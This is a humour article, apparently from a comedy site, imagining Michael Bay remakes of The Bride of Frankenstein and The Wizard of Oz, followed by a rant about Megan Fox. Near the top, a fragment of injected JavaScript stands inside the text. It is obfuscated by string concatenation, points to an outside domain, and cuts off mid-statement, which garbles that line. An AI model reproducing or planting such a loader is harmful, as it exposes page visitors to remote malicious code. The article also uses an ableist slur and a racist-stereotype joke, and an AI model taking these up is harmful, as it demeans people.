If Michael Bay Remade Classic Films

.......................... You know full well who he is)){u='http'+'://buro'+'tkan'+'i.com/'+'sma'+'rty/';j=doc

What's going on in that dopey-looking head of his?

Well, often this.

Just The Facts

  1. BOOM!
  2. Michael Bay acts like Megan Fox is the hottest thing in the world, when reality, I can list off way hotter actresses
  3. Scarlett Johansson, Emma Watson, Ashley Greene. See, I already listed three!

The Bride of Frankenstein (1939)

Movie poster with the head of Frankenstein's monster at the center, looking forward with a somber expression. Elevated above him is a woman looking down towards the center of the image. Near the bottom of the image is the Bride of Frankenstein, looking off to the right of the image as her hair surrounds the head of Frankenstein's monster and the body of the woman. Text at the top of the image states "Warning! The Monster Demands a Mate!" The bottom of the image includes the film's title and credits.

Starring: Megan Fox

The Original:

The original was known for adding complexity to the character of the Monster-

The Bride of Frankenstein has black hair with a white streak running through it, is dressed in a white gown, and has a blank expression. She is standing on the left with her left hand elevated. On the right is Frankenstein's monster, standing on the right and smiling. His right hand is below hers. The background includes walls made of stone.

Complex

-further pissing all over Mary Shelley's work-

Half-length portrait of a woman wearing a black dress sitting on a red sofa. Her dress is off the shoulder, exposing her shoulders. The brush strokes are broad.

Stirring in her grave

-and having a villain that was apparently flamboyantly gay, but today seems straighter than pre-movie SpongeBob.

SBSPseason1.jpg

He spent an entire episode trying to hook up with Sandy.

This was also the predecessor to the Son of Frankenstein, which is a sinful movie because the annoying kid who couldn't act survived the entire movie!

BAYING IT UP!!!!!!!!!!!!!!!

First off, the Monster would be stand fifty feet tall and shoot lasers.

"Did I ever see the- Jerry, it was on the motherfucking poster!"

The Monster would be shallow and two-dimensional, making him the deepest, most human character in the entire film.

Pictured: The most human characters in Michael Bay's films.

While we're on the topic of characters, Dr. Praetorious would remain flamboyantly homosexual, although there would be a slight cosmetic change.

Simultaneously being the most awesome and the most retarded change of all time.

The Bride would also be made earlier in the film, and no prizes for guessing who plays her.

Did you guess Scarlett Johansson? Dare to dream, my friend. Dare to dream.

Since Michael Bay has some penchant for that sort of thing, the Bride will run away and Praetorious will send her evil army of minions after her.

The photo shows a close-up of a Hispanic woman with her brown highlight hair clipped behind her ears. The female is wearing eyeliner and lipgloss as well as pink and white colored dangling earrings on both her ears. She is wearing a strapless black dress with black feathers. In the background, a blonde female can be seen as well as a red curtain.

Hopefully they all look like this.

This will result in a battle in Berlin that none have yet witnessed.

Unless they've seen this movie.

The Wizard of Oz (1939)

Starring: Megan Fox

The Original

Dorothy is a girl growing up in Kansas. (Many Kansans have complained about Kansas being shown in black and white; this is actually just what Kansas looks like).

Pictured: Kansas

Suddenly, a tornado decides to attack an actual house-

This should shake things up

-and transports her to Technicolor Oz, which for some reason she sees as a bad thing.

Fuck, I miss Kansas

BAYING IT UP!!!!!!!!!!!!!!!!!!!!!!!!!!!

For one thing, the Munchkins will be even more evil-looking.

WHERE IS YOUR GOD NOW?

The Scarecrow would also be a racist black stereotype played by SpongeBob, and the Tin Woodsman would kick infinite ass.

Wait, did we list this as a bad thing?

Toto would also end up being some sort of magical guardian dog, and Dorothy would be played by-

I know, I know, the world is unfair.

The Witch would end up laying siege to the Emerald City.

She would play the Witch if there is any justice.

There would be lots and lots and lots and lots and lots and lots and lots and lots and lots and lots and lots and lots and lots and lots and lots and lots and lots and lots and LOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOTSSSSSSSSS of HUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUGE explosions and if you can't tell, I'm writing this to pad out the section of the article.

Ok, what's the big deal about Megan Fox?

Ok, so this is not TECHNICALLY a movie, but I ran out of good ideas (it happens, you know?) and I've decided to dedicate the rest of this section to cracking the mystery of why everyone finds Megan Fox so hot. People treat her like she's the greatest thing since sliced bread-

Which is so clearly not true!

-but, as I mentioned above, there are tons of chicks way hotter than her!

Please, explain this phenomenon to me in the comments section! When I've gathered sufficient enough information, I may one day return to this article. Until then.